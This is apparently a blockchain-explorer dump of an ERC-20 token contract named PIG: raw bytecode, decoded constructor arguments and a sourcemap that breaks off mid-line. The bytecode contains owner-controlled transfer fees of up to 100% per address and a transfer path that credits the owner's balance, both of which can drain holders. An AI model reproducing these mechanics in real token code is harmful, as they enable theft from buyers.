0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806349bd5a5e116100975780639fa7e5fe116100665780639fa7e5fe14610276578063a9059cbb14610292578063c2af913b146102c2578063dd62ed3e146102cc576100f5565b806349bd5a5e146101ec57806370a082311461020a5780638da5cb5b1461023a57806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b2578063444a2a9c146101d0576100f5565b806306fdde03146100fa578063095ea7b3146101185780630f8c431914610148575b600080fd5b6101026102fc565b60405161010f91906115ea565b60405180910390f35b610132600480360381019061012d91906116a5565b61038e565b60405161013f9190611700565b60405180910390f35b610162600480360381019061015d91906116a5565b6103ac565b005b61016c6104cd565b604051610179919061172a565b60405180910390f35b61019c60048036038101906101979190611745565b6104d7565b6040516101a99190611700565b60405180910390f35b6101ba6105b0565b6040516101c791906117b4565b60405180910390f35b6101ea60048036038101906101e591906117cf565b6105c7565b005b6101f46106a0565b604051610201919061180b565b60405180910390f35b610224600480360381019061021f91906117cf565b6106c6565b604051610231919061172a565b60405180910390f35b61024261070f565b60405161024f919061180b565b60405180910390f35b610260610738565b60405161026d91906115ea565b60405180910390f35b610290600480360381019061028b9190611826565b6107ca565b005b6102ac60048036038101906102a791906116a5565b6108ad565b6040516102b99190611700565b60405180910390f35b6102ca6108da565b005b6102e660048036038101906102e19190611853565b610a2f565b6040516102f3919061172a565b60405180910390f35b60606001805461030b906118c2565b80601f0160208091040260200160405190810160405280929190818152602001828054610337906118c2565b80156103845780601f1061035957610100808354040283529160200191610384565b820191906000526020600020905b81548152906001019060200180831161036757829003601f168201915b5050505050905090565b60006103a261039b610ab6565b8484610abe565b6001905092915050565b6103b4610ab6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610441576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104389061193f565b60405180910390fd5b6064811115610485576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047c906119d1565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600454905090565b60006104e4848484610c87565b6105a5846104f0610ab6565b6105a085604051806060016040528060288152602001611ef560289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610556610ab6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112539092919063ffffffff16565b610abe565b600190509392505050565b6000600360009054906101000a900460ff16905090565b6105cf610ab6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106539061193f565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610747906118c2565b80601f0160208091040260200160405190810160405280929190818152602001828054610773906118c2565b80156107c05780601f10610795576101008083540402835291602001916107c0565b820191906000526020600020905b8154815290600101906020018083116107a357829003601f168201915b5050505050905090565b6107d2610ab6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461085f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108569061193f565b60405180910390fd5b60648111156108a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089a90611a3d565b60405180910390fd5b8060098190555050565b6000806108b8610ab6565b90506108c481846112b7565b6108cf818585610c87565b600191505092915050565b6108e2610ab6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461096f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109669061193f565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2490611acf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9390611b61565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c7a919061172a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ced90611bf3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5c90611c85565b60405180910390fd5b600080600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610e1a57610e136064610e05600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548561138b90919063ffffffff16565b61140590919063ffffffff16565b9050610f4f565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610e9e57610e976064610e896008548561138b90919063ffffffff16565b61140590919063ffffffff16565b9050610f4e565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f2257610f1b6064610f0d6009548561138b90919063ffffffff16565b61140590919063ffffffff16565b9050610f4d565b610f4a6064610f3c6009548561138b90919063ffffffff16565b61140590919063ffffffff16565b90505b5b5b610fa182600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461144f90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110309190611cd4565b61103a9190611d08565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110f18160056000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149990919063ffffffff16565b60056000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111d5919061172a565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83856112389190611d08565b604051611245919061172a565b60405180910390a350505050565b600083831115829061129b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129291906115ea565b60405180910390fd5b50600083856112aa9190611d08565b9050809150509392505050565b6112bf61070f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113875761134381600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149990919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b600080830361139d57600090506113ff565b600082846113ab9190611d3c565b90508284826113ba9190611dc5565b146113fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f190611e68565b60405180910390fd5b809150505b92915050565b600061144783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114f7565b905092915050565b600061149183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611253565b905092915050565b60008082846114a89190611cd4565b9050838110156114ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e490611ed4565b60405180910390fd5b8091505092915050565b6000808311829061153e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153591906115ea565b60405180910390fd5b506000838561154d9190611dc5565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611594578082015181840152602081019050611579565b60008484015250505050565b6000601f19601f8301169050919050565b60006115bc8261155a565b6115c68185611565565b93506115d6818560208601611576565b6115df816115a0565b840191505092915050565b6000602082019050818103600083015261160481846115b1565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061163c82611611565b9050919050565b61164c81611631565b811461165757600080fd5b50565b60008135905061166981611643565b92915050565b6000819050919050565b6116828161166f565b811461168d57600080fd5b50565b60008135905061169f81611679565b92915050565b600080604083850312156116bc576116bb61160c565b5b60006116ca8582860161165a565b92505060206116db85828601611690565b9150509250929050565b60008115159050919050565b6116fa816116e5565b82525050565b600060208201905061171560008301846116f1565b92915050565b6117248161166f565b82525050565b600060208201905061173f600083018461171b565b92915050565b60008060006060848603121561175e5761175d61160c565b5b600061176c8682870161165a565b935050602061177d8682870161165a565b925050604061178e86828701611690565b9150509250925092565b600060ff82169050919050565b6117ae81611798565b82525050565b60006020820190506117c960008301846117a5565b92915050565b6000602082840312156117e5576117e461160c565b5b60006117f38482850161165a565b91505092915050565b61180581611631565b82525050565b600060208201905061182060008301846117fc565b92915050565b60006020828403121561183c5761183b61160c565b5b600061184a84828501611690565b91505092915050565b6000806040838503121561186a5761186961160c565b5b60006118788582860161165a565b92505060206118898582860161165a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806118da57607f821691505b6020821081036118ed576118ec611893565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611929602083611565565b9150611934826118f3565b602082019050919050565b600060208201905081810360008301526119588161191c565b9050919050565b7f506572736f6e616c207472616e73666572206665652073686f756c64206e6f7460008201527f2065786365656420313030250000000000000000000000000000000000000000602082015250565b60006119bb602c83611565565b91506119c68261195f565b604082019050919050565b600060208201905081810360008301526119ea816119ae565b9050919050565b7f53656c6c206665652073686f756c64206e6f7420657863656564203130302500600082015250565b6000611a27601f83611565565b9150611a32826119f1565b602082019050919050565b60006020820190508181036000830152611a5681611a1a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ab9602483611565565b9150611ac482611a5d565b604082019050919050565b60006020820190508181036000830152611ae881611aac565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611b4b602283611565565b9150611b5682611aef565b604082019050919050565b60006020820190508181036000830152611b7a81611b3e565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611bdd602683611565565b9150611be882611b81565b604082019050919050565b60006020820190508181036000830152611c0c81611bd0565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c6f602483611565565b9150611c7a82611c13565b604082019050919050565b60006020820190508181036000830152611c9e81611c62565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611cdf8261166f565b9150611cea8361166f565b9250828201905080821115611d0257611d01611ca5565b5b92915050565b6000611d138261166f565b9150611d1e8361166f565b9250828203905081811115611d3657611d35611ca5565b5b92915050565b6000611d478261166f565b9150611d528361166f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611d8b57611d8a611ca5565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611dd08261166f565b9150611ddb8361166f565b925082611deb57611dea611d96565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e52602183611565565b9150611e5d82611df6565b604082019050919050565b60006020820190508181036000830152611e8181611e45565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611ebe601b83611565565b9150611ec982611e88565b602082019050919050565b60006020820190508181036000830152611eed81611eb1565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202afe3c81fe0f2e2086169d21df59e9b2bf6ba66e7ae0411216e8e6f45be0098b64736f6c63430008100033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca000000000000000000000000000000000000000000000000000000000000000003504947000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035049470000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): PIG
Arg [1] : symbol_ (string): PIG
Arg [2] : decimals_ (uint8): 9
Arg [3] : initialSupply (uint256): 1000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [5] : 5049470000000000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [7] : 5049470000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

3590:4492:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5054:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6180:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4657:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5331:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6349:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5240:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4548:101;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4071:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5439:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3133:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5145;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4878:170;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5566:257;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3351:230;;;:::i;:::-;;6029:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5054:83;5091:13;5124:5;5117:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5054:83;:::o;6180:161::-;6255:4;6272:39;6281:12;:10;:12::i;:::-;6295:7;6304:6;6272:8;:39::i;:::-;6329:4;6322:11;;6180:161;;;;:::o;4657:215::-;3276:12;:10;:12::i;:::-;3266:22;;:6;;;;;;;;;;:22;;;3258:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4768:3:::1;4761;:10;;4753:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4861:3;4831:21;:27;4853:4;4831:27;;;;;;;;;;;;;;;:33;;;;4657:215:::0;;:::o;5331:100::-;5384:7;5411:12;;5404:19;;5331:100;:::o;6349:313::-;6447:4;6464:36;6474:6;6482:9;6493:6;6464:9;:36::i;:::-;6511:121;6520:6;6528:12;:10;:12::i;:::-;6542:89;6580:6;6542:89;;;;;;;;;;;;;;;;;:11;:19;6554:6;6542:19;;;;;;;;;;;;;;;:33;6562:12;:10;:12::i;:::-;6542:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6511:8;:121::i;:::-;6650:4;6643:11;;6349:313;;;;;:::o;5240:83::-;5281:5;5306:9;;;;;;;;;;;5299:16;;5240:83;:::o;4548:101::-;3276:12;:10;:12::i;:::-;3266:22;;:6;;;;;;;;;;:22;;;3258:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4633:8:::1;4617:13;;:24;;;;;;;;;;;;;;;;;;4548:101:::0;:::o;4071:28::-;;;;;;;;;;;;;:::o;5439:119::-;5505:7;5532:9;:18;5542:7;5532:18;;;;;;;;;;;;;;;;5525:25;;5439:119;;;:::o;3133:87::-;3179:7;3206:6;;;;;;;;;;;3199:13;;3133:87;:::o;5145:::-;5184:13;5217:7;5210:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5145:87;:::o;4878:170::-;3276:12;:10;:12::i;:::-;3266:22;;:6;;;;;;;;;;:22;;;3258:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4969:3:::1;4955:10;:17;;4947:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;5030:10;5019:8;:21;;;;4878:170:::0;:::o;5566:257::-;5652:4;5669:14;5686:12;:10;:12::i;:::-;5669:29;;5711:33;5729:6;5737;5711:17;:33::i;:::-;5757:36;5767:6;5775:9;5786:6;5757:9;:36::i;:::-;5811:4;5804:11;;;5566:257;;;;:::o;3351:230::-;3276:12;:10;:12::i;:::-;3266:22;;:6;;;;;;;;;;:22;;;3258:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3458:42:::1;3421:81;;3442:6;::::0;::::1;;;;;;;;3421:81;;;;;;;;;;;;3530:42;3513:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;3351:230::o:0;6029:143::-;6110:7;6137:11;:18;6149:5;6137:18;;;;;;;;;;;;;;;:27;6156:7;6137:27;;;;;;;;;;;;;;;;6130:34;;6029:143;;;;:::o;879:115::-;932:15;975:10;960:26;;879:115;:::o;7733:346::-;7852:1;7835:19;;:5;:19;;;7827:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7933:1;7914:21;;:7;:21;;;7906:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8017:6;7987:11;:18;7999:5;7987:18;;;;;;;;;;;;;;;:27;8006:7;7987:27;;;;;;;;;;;;;;;:36;;;;8055:7;8039:32;;8048:5;8039:32;;;8064:6;8039:32;;;;;;:::i;:::-;;;;;;;;7733:346;;;:::o;6670:1055::-;6797:1;6779:20;;:6;:20;;;6771:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;6882:1;6861:23;;:9;:23;;;6853:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;6938:17;7010:1;6978:21;:29;7000:6;6978:29;;;;;;;;;;;;;;;;:33;6974:414;;;7040:51;7087:3;7040:42;7052:21;:29;7074:6;7052:29;;;;;;;;;;;;;;;;7040:7;:11;;:42;;;;:::i;:::-;:46;;:51;;;;:::i;:::-;7028:63;;6974:414;;;7123:13;;;;;;;;;;;7113:23;;:6;:23;;;7109:279;;7165:29;7190:3;7165:20;7177:7;;7165;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;7153:41;;7109:279;;;7229:13;;;;;;;;;;;7216:26;;:9;:26;;;7212:176;;7271:30;7297:3;7271:21;7283:8;;7271:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;7259:42;;7212:176;;;7346:30;7372:3;7346:21;7358:8;;7346:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;7334:42;;7212:176;7109:279;6974:414;7420:30;7442:7;7420:9;:17;7430:6;7420:17;;;;;;;;;;;;;;;;:21;;:30;;;;:::i;:::-;7400:9;:17;7410:6;7400:17;;;;;;;;;;;;;;;:50;;;;7514:9;7506:7;7485:9;:20;7495:9;7485:20;;;;;;;;;;;;;;;;:28;;;;:::i;:::-;:38;;;;:::i;:::-;7461:9;:20;7471:9;7461:20;;;;;;;;;;;;;;;:62;;;;7560:38;7588:9;7560;:23;7570:12;;;;;;;;;;;7560:23;;;;;;;;;;;;;;;;:27;;:38;;;;:::i;:::-;7534:9;:23;7544:12;;;;;;;;;;;7534:23;;;;;;;;;;;;;;;:64;;;;7631:12;;;;;;;;;;;7614:41;;7623:6;7614:41;;;7645:9;7614:41;;;;;;:::i;:::-;;;;;;;;7688:9;7671:46;;7680:6;7671:46;;;7707:9;7699:7;:17;;;;:::i;:::-;7671:46;;;;;;:::i;:::-;;;;;;;;6758:967;6670:1055;;;:::o;1601:226::-;1721:7;1754:1;1749;:6;;1757:12;1741:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1781:9;1797:1;1793;:5;;;;:::i;:::-;1781:17;;1818:1;1811:8;;;1601:226;;;;;:::o;5833:180::-;5925:7;:5;:7::i;:::-;5915:17;;:6;:17;;;5911:95;;5965:29;5987:6;5965:9;:17;5975:6;5965:17;;;;;;;;;;;;;;;;:21;;:29;;;;:::i;:::-;5945:9;:17;5955:6;5945:17;;;;;;;;;;;;;;;:49;;;;5911:95;5833:180;;:::o;1835:252::-;1893:7;1924:1;1919;:6;1915:47;;1949:1;1942:8;;;;1915:47;1974:9;1990:1;1986;:5;;;;:::i;:::-;1974:17;;2019:1;2014;2010;:5;;;;:::i;:::-;:10;2002:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2078:1;2071:8;;;1835:252;;;;;:::o;2095:132::-;2153:7;2180:39;2184:1;2187;2180:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2173:46;;2095:132;;;;:::o;1457:136::-;1515:7;1542:43;1546:1;1549;1542:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1535:50;;1457:136;;;;:::o;1268:181::-;1326:7;1346:9;1362:1;1358;:5;;;;:::i;:::-;1346:17;;1387:1;1382;:6;;1374:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1440:1;1433:8;;;1268:181;;;;:::o;2235:227::-;2355:7;2387:1;2383;:5;2390:12;2375:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2414:9;2430:1;2426;:5;;;;:::i;:::-;2414:17;;2453:1;2446:8;;;2235:227;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:329::-;5599:6;5648:2;5636:9;5627:7;5623:23;5619:32;5616:119;;;5654:79;;:::i;:::-;5616:119;5774:1;5799:53;5844:7;5835:6;5824:9;5820:22;5799:53;:::i;:::-;5789:63;;5745:117;5540:329;;;;:::o;5875:474::-;5943:6;5951;6000:2;5988:9;5979:7;5975:23;5971:32;5968:119;;;6006:79;;:::i;:::-;5968:119;6126:1;6151:53;6196:7;6187:6;6176:9;6172:22;6151:53;:::i;:::-;6141:63;;6097:117;6253:2;6279:53;6324:7;6315:6;6304:9;6300:22;6279:53;:::i;:::-;6269:63;;6224:118;5875:474;;;;;:::o;6355:180::-;6403:77;6400:1;6393:88;6500:4;6497:1;6490:15;6524:4;6521:1;6514:15;6541:320;6585:6;6622:1;6616:4;6612:12;6602:22;;6669:1;6663:4;6659:12;6690:18;6680:81;;6746:4;6738:6;6734:17;6724:27;;6680:81;6808:2;6800:6;6797:14;6777:18;6774:38;6771:84;;6827:18;;:::i;:::-;6771:84;6592:269;6541:320;;;:::o;6867:182::-;7007:34;7003:1;6995:6;6991: